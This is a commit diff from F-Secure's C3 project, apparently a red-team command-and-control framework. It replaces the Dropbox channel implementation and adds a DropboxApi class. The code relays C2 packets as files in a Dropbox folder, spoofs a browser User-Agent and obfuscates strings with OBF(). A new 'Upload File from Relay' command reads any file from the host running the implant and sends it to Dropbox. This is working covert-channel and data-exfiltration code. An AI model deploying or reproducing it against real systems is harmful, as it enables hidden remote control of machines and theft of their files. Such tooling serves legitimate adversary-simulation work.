Merge Internal and public dropbox

dependabot/npm_and_yarn/Src/WebController/UI/elliptic-6.5.3
Alfie Champion 2020-07-14 17:28:24 +02:00 committed by Grzegorz Rychlik
parent bf9359544b
commit d7e647a1c9
6 changed files with 626 additions and 451 deletions

View File

@ -34,6 +34,7 @@
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\CppTools\Encryption.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\Crypto\Sodium.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\Crypto\String.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\Dropbox\DropboxApi.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\Slack\SlackApi.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\Sockets\AddrInfo.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\Sockets\DuplexConnection.cpp" />
@ -69,6 +70,7 @@
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\CppTools\StringConversions.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\Sql\Sql.hpp" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\Crypto\String.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\Dropbox\DropboxApi.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\WinHttp\Config.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\WinHttp\Constants.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\WinHttp\HttpClient.h" />

View File

@ -2,7 +2,6 @@
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\UncShareFile.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\Dropbox.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\MSSQL.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Connectors\MockServer.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Connectors\Covenant.cpp" />
@ -35,6 +34,8 @@
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\Crypto\String.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\AsanaApi\AsanaApi.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\Asana.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\DropBox.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\Dropbox\DropboxApi.cpp" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="$(MSBuildThisFileDirectory)CppCodec\base32_default_crockford.hpp" />
@ -118,6 +119,7 @@
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\Office365.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\AsanaApi\AsanaApi.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\Asana.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\Dropbox.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\DropBox.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\Dropbox\DropboxApi.h" />
</ItemGroup>
</Project>

View File

@ -1,271 +1,136 @@
#include "StdAfx.h"
#include "Common/CppRestSdk/include/cpprest/http_client.h"
#include "Common/FSecure/Crypto/Base64.h"
#include "Common/CppRestSdk/include/cpprest/base_uri.h"
#include "Stdafx.h"
#include "Dropbox.h"
#include "Common/FSecure/Crypto/Base64.h"
namespace FSecure::C3::Interfaces::Channels
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
FSecure::C3::Interfaces::Channels::Dropbox::Dropbox(ByteView arguments)
: m_inboundDirectionName{ arguments.Read<std::string>() }
, m_outboundDirectionName{ arguments.Read<std::string>() }
{
auto [userAgent, DropboxToken, channelName] = arguments.Read<std::string, std::string, std::string>();
m_dropboxObj = FSecure::Dropbox{ userAgent, DropboxToken, channelName };
}
DropBox::DropBox(FSecure::ByteView arguments)
: m_inFile( arguments.Read<std::string>() )
, m_outFile( arguments.Read<std::string>() )
, m_Directory( arguments.Read<std::string>() )
, m_Token( arguments.Read<std::string>() )
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
size_t FSecure::C3::Interfaces::Channels::Dropbox::OnSendToChannel(ByteView data)
{
// There is a cap on uploads of files >150mb at which point different APIs are required.
data = data.SubString(0, 150 * 1024 * 1024);
m_dropboxObj.WriteMessageToFile(m_outboundDirectionName, data);
return data.size();
}
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
std::vector<FSecure::ByteVector> FSecure::C3::Interfaces::Channels::Dropbox::OnReceiveFromChannel()
{
std::vector<ByteVector> ret;
for (auto& [ts, id] : m_dropboxObj.GetMessagesByDirection(m_inboundDirectionName))
{
if (auto winProxy = WinTools::GetProxyConfiguration(); !winProxy.empty())
this->m_HttpConfig.set_proxy(winProxy == OBF(L"auto") ? web::web_proxy::use_auto_discovery : web::web_proxy(winProxy));
ret.push_back(m_dropboxObj.ReadFile(id));
m_dropboxObj.DeleteFile(id);
}
// Make a HTTP POST Request
std::string DropBox::SendHTTPRequest(std::string const& host, std::string const& contentType, std::string const& data)
return ret;
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
FSecure::ByteVector FSecure::C3::Interfaces::Channels::Dropbox::OnRunCommand(ByteView command)
{
auto commandCopy = command; //each read moves ByteView. CommandCopy is needed for default.
switch (command.Read<uint16_t>())
{
while (true)
{
web::http::client::http_client webClient(utility::conversions::to_string_t(host), this->m_HttpConfig);
web::http::http_request request(web::http::methods::POST);
if (!data.empty())
{
request.set_body(utility::conversions::to_string_t(data));
}
if (!contentType.empty())
{
request.headers().set_content_type(utility::conversions::to_string_t(contentType));
}
request.headers()[L"User-Agent"] = L"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.163 Safari/537.36";
request.headers()[L"Authorization"] = L"Bearer " + utility::conversions::to_string_t(this->m_Token);
request.headers()[L"Host"] = L"api.dropboxapi.com";
web::http::http_response resp = webClient.request(request).get();
if (resp.status_code() == web::http::status_codes::OK)
return resp.extract_utf8string().get();
else if (resp.status_code() == web::http::status_codes::TooManyRequests)
std::this_thread::sleep_for(FSecure::Utils::GenerateRandomValue(10s, 20s));
else if (resp.status_code() == web::http::status_code(409))
return "{}";
else
throw std::exception(OBF("[x] Non 200/409/429 HTTP Response\n"));
}
}
// Make a HTTP POST Request and also edit the Headers.
std::string DropBox::SendHTTPRequest(std::string const& host, json const& h_args, std::string const& contentType, std::string const& data)
{
while (true)
{
web::http::client::http_client webClient(utility::conversions::to_string_t(host), this->m_HttpConfig);
web::http::http_request request(web::http::methods::POST);
if (!data.empty())
{
request.set_body(utility::conversions::to_string_t(data));
}
if (!contentType.empty())
{
request.headers().set_content_type(utility::conversions::to_string_t(contentType));
}
request.headers()[L"User-Agent"] = L"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.163 Safari/537.36";
request.headers()[L"Authorization"] = L"Bearer " + utility::conversions::to_string_t(this->m_Token);
request.headers()[L"Host"] = L"content.dropboxapi.com";
request.headers()[L"Dropbox-API-Arg"] = utility::conversions::to_string_t(h_args.dump());
web::http::http_response resp = webClient.request(request).get();
if (resp.status_code() == web::http::status_codes::OK)
{
resp.headers().set_content_type(L"text/plain");
return resp.extract_utf8string().get();
}
else if (resp.status_code() == web::http::status_codes::TooManyRequests)
std::this_thread::sleep_for(FSecure::Utils::GenerateRandomValue(10s, 20s));
else if (resp.status_code() == web::http::status_code(409))
return "{}";
else
throw std::exception(OBF("[x] Non 200/409/429 HTTP Response\n"));
}
}
// Parse HTTP POST Response as JSON
json DropBox::SendJsonRequest(std::string const& url, json const& data)
{
return json::parse(SendHTTPRequest(url, OBF("application/json"), data.dump()));
}
// Parse HTTP POST(with edited headers) Respose as JSON
json DropBox::SendJsonRequest(std::string const& url, json const& h_args, std::string data)
{
return json::parse(SendHTTPRequest(url, h_args, OBF("application/octet-stream"), data));
}
// Send Packets to Channel
size_t DropBox::OnSendToChannel(FSecure::ByteView packet)
{
std::string b64packet = "";
std::string strpacket = "";
size_t actualPacketSize = 0;
size_t maxPacketSize = cppcodec::base64_rfc4648::decoded_max_size(150'000'000);
size_t bytesWritten = 0;
// if total packet size is smaller than api file upload size
// send packet in one file request
if (packet.length() < maxPacketSize)
{
std::string base64 = cppcodec::base64_rfc4648::encode(packet.data(), packet.size());
//Write to file on DropBox
json db_args;
db_args[OBF("path")] = OBF("/") + m_Directory + m_outFile + "/" + m_outFile + std::to_string(FSecure::Utils::GenerateRandomValue<int>(10000, 99999));
db_args[OBF("mode")] = OBF("add");
db_args[OBF("autorename")] = true;
db_args[OBF("mute")] = true;
SendJsonRequest(OBF_STR("https://content.dropboxapi.com/2/files/upload"), db_args, base64);
bytesWritten = packet.length();
}
// if total packet size is larger than api file upload size
// chunck the packet into smaller packets
else
{
actualPacketSize = std::min(maxPacketSize, packet.size());
strpacket = packet.SubString(0, actualPacketSize);
b64packet = cppcodec::base64_rfc4648::encode(strpacket.data(), strpacket.size());
json db_args;
db_args[OBF("path")] = OBF("/") + m_Directory + m_outFile + "/" + m_outFile + std::to_string(FSecure::Utils::GenerateRandomValue<int>(10000, 99999));
db_args[OBF("mode")] = OBF("add");
db_args[OBF("autorename")] = true;
db_args[OBF("mute")] = true;
SendJsonRequest(OBF_STR("https://content.dropboxapi.com/2/files/upload"), db_args, b64packet);
bytesWritten = strpacket.size();
}
return bytesWritten;
}
// Read Packets from Channel
FSecure::ByteVector DropBox::OnReceiveFromChannel()
{
FSecure::ByteVector packet;
// Check if there are packets to read
json db_list;
db_list[OBF("path")] = OBF("/") + m_Directory + m_inFile;
db_list[OBF("recursive")] = false;
db_list[OBF("limit")] = 1;
json filelist = SendJsonRequest(OBF_STR("https://api.dropboxapi.com/2/files/list_folder"), db_list);
if (filelist["entries"][0].size())
{
// Download packet from DropBox
json db_args;
db_args[OBF("path")] = filelist["entries"][0]["path_display"];
std::string fileContent = SendHTTPRequest(OBF_STR("https://content.dropboxapi.com/2/files/download"), db_args, " text/plain; charset=utf-8", "");
// Read packet from file
packet = cppcodec::base64_rfc4648::decode(fileContent);
// Remove packet from DropBox after read
SendJsonRequest(OBF_STR("https://api.dropboxapi.com/2/files/delete_v2"), db_args);
}
return FSecure::ByteVector { packet };
}
// Custom Command
ByteVector DropBox::OnRunCommand(ByteView command)
{
auto commandCopy = command;
switch (command.Read<uint16_t>())
{
case 0:
Clear();
return {};
default:
return AbstractChannel::OnRunCommand(commandCopy);
}
}
// Clear all files from DropBox
bool DropBox::Clear()
{
std::string url = OBF_STR("https://api.dropboxapi.com/2/files/delete_v2");
json file_info;
file_info[OBF("path")] = OBF("/") + m_Directory;
json x = SendJsonRequest(url, file_info);
return true;
}
const char* DropBox::GetCapability()
{
return R"(
{
"create":
{
"arguments":
[
[
{
"type": "string",
"name": "Input ID",
"min": 4,
"randomize": true,
"description": "Used to distinguish packets for the channel"
},
{
"type": "string",
"name": "Output ID",
"min": 4,
"randomize": true,
"description": "Used to distinguish packets from the channel"
}
],
{
"type": "string",
"name": "Directory Name",
"min": 1,
"description": "The diretory name to use in DropBox"
},
{
"type": "string",
"name": "DropBox Access Token",
"min": 1,
"description": "This token is what channel needs to interact with DropBox's API"
}
]
},
"commands":
[
{
"name": "Remove all files",
"id": 0,
"description": "Clearing old files from directory may increase bandwidth",
"arguments": []
}
]
}
)";
case 0:
UploadFile(command);
return {};
case 1:
DeleteAllFiles();
return {};
default:
return AbstractChannel::OnRunCommand(commandCopy);
}
}
void FSecure::C3::Interfaces::Channels::Dropbox::UploadFile(ByteView args)
{
m_dropboxObj.UploadFile(args.Read<std::string>());
}
void FSecure::C3::Interfaces::Channels::Dropbox::DeleteAllFiles()
{
m_dropboxObj.DeleteAllFiles();
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
const char* FSecure::C3::Interfaces::Channels::Dropbox::GetCapability()
{
return R"_(
{
"create":
{
"arguments":
[
[
{
"type": "string",
"name": "Input ID",
"min": 4,
"randomize": true,
"description": "Used to distinguish packets for the channel"
},
{
"type": "string",
"name": "Output ID",
"min": 4,
"randomize": true,
"description": "Used to distinguish packets from the channel"
}
],
{
"type": "string",
"name": "User-Agent Header",
"min": 1,
"defaultValue": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36",
"description": "The User-Agent header to set"
},
{
"type": "string",
"name": "Dropbox token",
"min": 1,
"description": "This token is what channel needs to interact with Dropbox's API"
},
{
"type": "string",
"name": "Folder name",
"min": 4,
"randomize": true,
"description": "Folder to create for channel"
}
]
},
"commands":
[
{
"name": "Upload File from Relay",
"id": 0,
"description": "Upload file from host running Relay directly to Dropbox (150mb max.)",
"arguments":
[
{
"type" : "string",
"name": "Remote Filepath",
"description" : "Path to upload."
}
]
},
{
"name": "Remove All Files",
"id": 1,
"description": "Delete channel folder and all files within it.",
"arguments": []
}
]
}
)_";
}

View File

@ -1,71 +1,56 @@
#pragma once
#include "Common/FSecure/Dropbox/DropboxApi.h"
namespace FSecure::C3::Interfaces::Channels
{
/// Implementation of a File Channel.
class DropBox : public FSecure::C3::Interfaces::Channel<DropBox>
{
public:
/// Public constructor.
/// @param arguments factory arguments.
DropBox(FSecure::ByteView arguments);
///Implementation of the Dropbox Channel.
struct Dropbox : public Channel<Dropbox>
{
/// Public constructor.
/// @param arguments factory arguments.
Dropbox(ByteView arguments);
/// OnSend callback implementation. Called every time attached Relay wants to send a packet through this Channel Device. @see Device::OnSendToChannelInternal.
/// @param packet data to send through the Channel.
/// @return number of bytes successfully sent through the Channel. One call does not have to send all data. In that case chunking will take place, Chunks must be at least 64 bytes or equal to packet.size() to be accepted,
size_t OnSendToChannel(FSecure::ByteView packet);
/// Destructor
virtual ~Dropbox() = default;
/// Reads a single C3 packet from Channel. Periodically called by attached Relay. Implementation should read the data (or return an empty buffer if there's nothing in the Channel waiting to read) and leave as soon as possible.
/// @return ByteVector that contains a single packet retrieved from Channel.
FSecure::ByteVector OnReceiveFromChannel();
/// OnSend callback implementation.
/// @param packet data to send to Channel.
/// @returns size_t number of bytes successfully written.
size_t OnSendToChannel(ByteView packet);
/// Reads a single C3 packet from Channel.
/// @return packet retrieved from Channel.
std::vector<ByteVector> OnReceiveFromChannel();
/// Describes Channels creation parameters and custom Commands.
/// @return Channel's capability description in JSON format.
static const char* GetCapability();
/// Get channel capability.
/// @returns Channel capability in JSON format
static const char* GetCapability();
/// Makes a HTTP POST Request
/// return HTTP response as a string if status is 200
std::string SendHTTPRequest(std::string const& host, std::string const& contentType, std::string const& data);
/// Values used as default for channel jitter. 30 ms if unset. Current jitter value can be changed at runtime.
/// Set long delay otherwise Dropbox rate limit will heavily impact channel.
constexpr static std::chrono::milliseconds s_MinUpdateDelay = 3500ms, s_MaxUpdateDelay = 6500ms;
/// Makes a HTTP POST Request with additional headers
/// return HTTP response as a string if status is 200
std::string SendHTTPRequest(std::string const& host, json const& h_args, std::string const& contentType, std::string const& data);
/// Processes internal (C3 API) Command.
/// @param command a buffer containing whole command and it's parameters.
/// @return command result.
ByteVector OnRunCommand(ByteView command) override;
/// Makes a HTTP POST Request
/// parses the HTTP response as a json string if status is 200
json SendJsonRequest(std::string const& url, json const& data);
protected:
/// The inbound direction name of data
std::string m_inboundDirectionName;
/// Makes a HTTP POST Request with additional headers
/// parses the HTTP response as a json string if status is 200
json SendJsonRequest(std::string const& url, json const& h_args, std::string data);
/// The outbound direction name, the opposite of m_inboundDirectionName
std::string m_outboundDirectionName;
/// Processes Commands addressed to this Channel.
/// @param command a buffer containing whole command and it's parameters.
/// @return command result.
ByteVector OnRunCommand(ByteView command) override;
/// Uploads file.
/// @param path to file to be uploaded.
void UploadFile(ByteView args);
/// Clears all files created on Dropbox
/// returns true if success
bool Clear();
/// Delete all files relating to the channel.
void DeleteAllFiles();
/// Explicit values used as the defaults for Channel's UpdateDelayJitter. Values can be changed later, at runtime.
constexpr static std::chrono::milliseconds s_MinUpdateDelay = 1000ms, s_MaxUpdateDelay = 1000ms;
protected:
/// Name of file used to receive data.
std::string m_inFile;
/// Name of file used to send data.
std::string m_outFile;
/// The Directory name to use in DropBox
std::string m_Directory;
/// Code token to communicate with API
std::string m_Token;
private:
web::http::client::http_client_config m_HttpConfig;
};
private:
/// An object encapsulating Dropbox's API, providing methods allowing the consumer to upload and download files from Dropbox, among other things.
FSecure::Dropbox m_dropboxObj;
};
}

View File

@ -0,0 +1,230 @@
#include "stdafx.h"
#include "DropboxApi.h"
#include "Common/FSecure/CppTools/StringConversions.h"
#include "Common/FSecure/WinHttp/HttpClient.h"
#include "Common/FSecure/WinHttp/Constants.h"
#include "Common/FSecure/WinHttp/Uri.h"
#include <random>
#include <cctype>
#include <algorithm>
#include <fstream>
using namespace FSecure::StringConversions;
using namespace FSecure::WinHttp;
namespace
{
std::wstring ToWideString(std::string const& str)
{
return Convert<Utf16>(str);
}
}
FSecure::Dropbox::Dropbox(std::string const& userAgent, std::string const& token, std::string const& channelName)
{
if (auto winProxy = WinTools::GetProxyConfiguration(); !winProxy.empty())
this->m_ProxyConfig = (winProxy == OBF(L"auto")) ? WebProxy(WebProxy::Mode::UseAutoDiscovery) : WebProxy(winProxy);
this->m_Token = token;
this->m_UserAgent = userAgent;
SetChannel(CreateChannel(Convert<Lowercase>(channelName)));
}
void FSecure::Dropbox::SetChannel(std::string const& channelName)
{
this->m_Channel = channelName;
}
void FSecure::Dropbox::SetToken(std::string const& token)
{
this->m_Token = token;
}
void FSecure::Dropbox::WriteMessageToFile(std::string const& direction, ByteView data, std::string const& providedFilename)
{
std::string url = OBF_STR("https://content.dropboxapi.com/2/files/upload");
std::string filename;
if (providedFilename.empty())
{
///Create a filename thats prefixed with message direction and suffixed
// with more granular timestamp for querying later
std::string ts = std::to_string(FSecure::Utils::TimeSinceEpoch());
filename = direction + OBF("-") + FSecure::Utils::GenerateRandomString(10) + OBF("-") + ts;
}
else
filename = providedFilename;
json j;
j[OBF("path")] = OBF("/") + this->m_Channel + OBF("/") + filename;
j[OBF("mode")] = OBF("add");
j[OBF("autorename")] = false;
j[OBF("mute")] = true;
j[OBF("strict_conflict")] = true;
SendHttpRequest(url, j.dump(), ContentType::ApplicationOctetstream, data);
}
void FSecure::Dropbox::UploadFile(std::string const& path)
{
std::filesystem::path filepathForUpload = path;
auto readFile = std::ifstream(filepathForUpload, std::ios::binary);
ByteVector packet = ByteVector{ std::istreambuf_iterator<char>{readFile}, {} };
readFile.close();
std::string ts = std::to_string(FSecure::Utils::TimeSinceEpoch());
std::string fn = filepathForUpload.filename().string(); // retain same file name and file extension for convenience.
std::string filename = OBF("upload-") + FSecure::Utils::GenerateRandomString(10) + OBF("-") + ts + OBF("-") + fn;
WriteMessageToFile("", packet, filename);
}
void FSecure::Dropbox::DeleteAllFiles()
{
std::string folderPath = OBF("/") + this->m_Channel;
DeleteFile(folderPath);
}
std::map<std::string, std::string> FSecure::Dropbox::ListChannels()
{
std::map<std::string, std::string> channelMap;
std::string url = OBF("https://api.dropboxapi.com/2/files/list_folder");
json j;
j[OBF("path")] = OBF(""); // Read from the root of the directory
json response = SendJsonRequest(url, j);
for (auto& channel : response[OBF("entries")])
{
std::string item_type = channel[OBF(".tag")];
if (item_type == OBF("folder"))
channelMap.emplace(channel[OBF("name")], channel[OBF("id")]);
}
return channelMap;
}
std::string FSecure::Dropbox::CreateChannel(std::string const& channelName)
{
std::map<std::string, std::string> channels = this->ListChannels();
if (channels.find(channelName) == channels.end())
{
std::string url = OBF("https://api.dropboxapi.com/2/files/create_folder_v2");
json j;
j[OBF("path")] = OBF("/") + channelName;
j[OBF("autorename")] = false;
json response = SendJsonRequest(url, j);
if (!response[OBF("metadata")].contains(OBF("name")))
throw std::runtime_error(OBF("Throwing exception: unable to create channel\n"));
}
return channelName;
}
std::map<std::string, std::string> FSecure::Dropbox::GetMessagesByDirection(std::string const& direction)
{
std::map<std::string, std::string> messages;
json response;
std::string cursor;
// If our search results roll over to another page (unlikely) we use a different endpoint
// to retrieve the extra file details
do
{
if (cursor.empty())
{
std::string url = OBF("https://api.dropboxapi.com/2/files/search_v2");
json search_options;
search_options[OBF("path")] = OBF("/") + this->m_Channel;
search_options[OBF("filename_only")] = true;
json j;
j[OBF("query")] = OBF("^") + direction; // regexp
j[OBF("options")] = search_options;
response = SendJsonRequest(url, j);
}
else
{
std::string url = OBF("https://api.dropboxapi.com/2/files/search/continue_v2");
json j;
j[OBF("cursor")] = cursor;
response = SendJsonRequest(url, j);
}
if (response[OBF("has_more")] == OBF("true"))
cursor = response[OBF("cursor")];
for (auto& match : response[OBF("matches")])
{
std::string item_type = match[OBF("metadata")][OBF("metadata")][OBF(".tag")];
std::string file_name = match[OBF("metadata")][OBF("metadata")][OBF("path_lower")];
std::string file_id = match[OBF("metadata")][OBF("metadata")][OBF("id")];
std::string ts = file_name.substr(file_name.length() - 10); // 10 = epoch time length
if (item_type == OBF("file"))
messages.insert({ ts, file_id });
}
} while (response[OBF("has_more")] == OBF("true"));
return messages;
}
FSecure::ByteVector FSecure::Dropbox::ReadFile(std::string const& filename)
{
std::string url = OBF_STR("https://content.dropboxapi.com/2/files/download");
json j;
j[OBF("path")] = filename;
return SendHttpRequest(url, j.dump());
}
void FSecure::Dropbox::DeleteFile(std::string const& filename)
{
std::string url = OBF("https://api.dropboxapi.com/2/files/delete_v2");
json j;
j[OBF("path")] = filename;
SendJsonRequest(url, j);
}
FSecure::ByteVector FSecure::Dropbox::SendHttpRequest(std::string const& host, std::string const& header, std::optional<WinHttp::ContentType> contentType, ByteView data)
{
while (true)
{
HttpClient webClient(ToWideString(host), m_ProxyConfig);
HttpRequest request; // default request is GET
request.m_Method = Method::POST;
request.SetTimeout({}, {}, 0ms, 0ms);
if (contentType && !data.empty())
request.SetData(*contentType, { data.begin(), data.end() });
if(!header.empty())
request.SetHeader(ToWideString("Dropbox-API-Arg"), ToWideString(header));
request.SetHeader(Header::Authorization, OBF(L"Bearer ") + ToWideString(this->m_Token));
request.SetHeader(Header::UserAgent, ToWideString(this->m_UserAgent));
auto resp = webClient.Request(request);
if (resp.GetStatusCode() == StatusCode::OK)
return resp.GetData();
else if (resp.GetStatusCode() == StatusCode::TooManyRequests)
std::this_thread::sleep_for(Utils::GenerateRandomValue(10s, 20s));
else
throw std::runtime_error(OBF("[x] Non 200/429 HTTP Response\n"));
}
}
json FSecure::Dropbox::SendJsonRequest(std::string const& url, json const& data)
{
return json::parse(SendHttpRequest(url, "", ContentType::ApplicationJson, ByteView{ data.dump() }));
}

View File

@ -0,0 +1,91 @@
#pragma once
#include "Common/json/json.hpp"
#include "Common/FSecure/WinHttp/WebProxy.h"
#include "Common/FSecure/WinHttp/Constants.h"
using json = nlohmann::json; //for easy parsing of json API: https://github.com/nlohmann/json
namespace FSecure
{
class Dropbox
{
public:
/// Constructor for the Dropbox Api class.
/// @param token - the token generated by Dropbox when an "app" is installed (either app or full dbx access)
/// @param proxyString - the proxy to use
Dropbox(std::string const& userAgent, std::string const& token, std::string const& channelName);
/// Default constructor.
Dropbox() = default;
/// Write a message as the contents of a file and upload to Dropbox.
/// @param direction - the name of the file to upload
/// @param data - the text of the message
/// @param filename - optional custom filename for uploaded file
void WriteMessageToFile(std::string const& direction = "", ByteView data = {}, std::string const& providedFilename = "");
/// Upload a file in its entirety to Dropbox.
/// @param path - path to file for upload
void UploadFile(std::string const& path);
/// Delete channel folder and all files within
void DeleteAllFiles();
/// Set the channel (i.e. Dropbox folder) that this object uses for communications
/// @param channelName - the channel name Id (not name), for example CGPMGFGSH.
void SetChannel(std::string const& channelName);
/// set the token for this object.
/// @param token - the textual api token.
void SetToken(std::string const& token);
/// Will list the created folders in Dropbox and if already preset return the channel name. If not already created,
/// creates a new folder on Dropbox.
/// @param channelName - the actual name of the folder to create, such as "files".
/// @return - the channel name of the new or already existing channel.
std::string CreateChannel(std::string const& channelName);
/// List all the folders in the workspace the object's token is tied to.
/// @return - a map of {channelName -> channelId}
std::map<std::string, std::string> ListChannels();
/// Get all of the files representing messages by a direction. This is a C3 specific method, used by a server relay to get client messages and vice versa.
/// @param direction - the direction to search for (eg. "S2C").
/// @return - a map of timestamp and file id, where id allows replies to be read later
std::map<std::string, std::string> GetMessagesByDirection(std::string const& direction);
/// Download file by its path.
/// @param filename - path of file.
/// @return - string of file content
FSecure::ByteVector ReadFile(std::string const& filename);
/// Delete a file
/// @param filename - the full path of the file on Dropbox.
void DeleteFile(std::string const& filename);
private:
/// The channel (i.e. folder) through which messages are sent and received, will be sent when the object is created.
std::string m_Channel;
/// The Dropbox API token that allows the object access to the account. Needs to be manually created as described in documentation.
std::string m_Token;
/// Hold proxy settings
WinHttp::WebProxy m_ProxyConfig;
/// Send http request, uses preset token for authentication
FSecure::ByteVector SendHttpRequest(std::string const& host, std::string const& header = "", std::optional<WinHttp::ContentType> contentType = {}, ByteView data = {});
/// Send http request with json data, uses preset token for authentication
json SendJsonRequest(std::string const& url, json const& data);
/// The user agent header
std::string m_UserAgent;
};
}